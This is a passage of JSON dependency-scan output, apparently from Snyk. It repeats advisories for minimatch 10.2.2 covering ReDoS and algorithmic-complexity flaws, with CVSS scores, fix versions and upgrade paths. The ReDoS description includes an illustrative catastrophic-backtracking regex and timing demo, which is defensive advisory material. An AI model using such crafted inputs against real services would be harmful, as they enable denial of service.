Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmversion@8.0.3", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmversion@8.0.4", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmversion@8.0.3", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmversion@8.0.4", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, 